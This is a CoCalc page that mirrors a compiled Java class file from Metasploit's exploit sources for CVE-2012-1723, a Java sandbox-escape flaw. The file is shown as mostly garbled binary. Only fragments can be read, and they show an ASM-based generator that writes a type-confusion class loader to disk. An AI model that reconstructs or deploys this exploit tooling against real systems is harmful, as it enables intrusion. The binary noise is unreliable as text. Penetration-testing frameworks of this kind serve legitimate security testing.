CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2012-1723/lib/cve1723/Generator.class
Views: 11788
����1
+89
:;<
=>?
@
ABC
8D
E
F
GH,-
I
JK
JL
JM
JN
JO
JBPQR
8
JS
JT
JU
B
V
*WXY
%Z
%[
%\]<<init>()VCodeLineNumberTablegenerateConfusion()[Bmain([Ljava/lang/String;)V
Exceptions^
SourceFileGenerator.java,-org/objectweb/asm/ClassWriter,_cve1723/Confuserjava/lang/Object`astaticTypeALjava/lang/ClassLoader;bcde-java/lang/StringBuilder
instanceTypeBfgfhijLcve1723/ConfusingClassLoader;klmn-opqrs_tpconfuse7(Ljava/lang/ClassLoader;)Lcve1723/ConfusingClassLoader;org/objectweb/asm/Labeluvwxyrz101java/io/FileOutputStreamConfuser.class,{|}~-cve1723/Generatorjava/lang/Exception(I)VvisitN(IILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
visitFieldk(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Lorg/objectweb/asm/FieldVisitor;org/objectweb/asm/FieldVisitorvisitEndappend-(Ljava/lang/String;)Ljava/lang/StringBuilder;(I)Ljava/lang/StringBuilder;toString()Ljava/lang/String;visitMethodm(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)Lorg/objectweb/asm/MethodVisitor;org/objectweb/asm/MethodVisitor	visitCodevisitVarInsn(II)VvisitMethodInsn:(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V	visitInsn	visitMaxs
visitJumpInsn(ILorg/objectweb/asm/Label;)V
visitLabel(Lorg/objectweb/asm/Label;)VvisitFieldInsntoByteArray(Ljava/lang/String;)Vwrite([B)Vclose!*+,-.*��/	01.�»Y�:::1!��	:�
6		d�.�Y�
�	���	:�
�	����:���������:���Y�:	�	����	� ��!W�����!6

d�{���Y�
�
���!�Y�:�����Y�
�
���!��� �
���������"�#�/�.

 $.%3*=+],b*h2v3{4�5�6�7�8�=�>�Z�[�\�]�^�_�b�c�de
fh%i-jMkVl`mhn�o�p�h�s�t�v�w�y�{	23.@�$L�%Y&�'M,+�(,�)�/����4567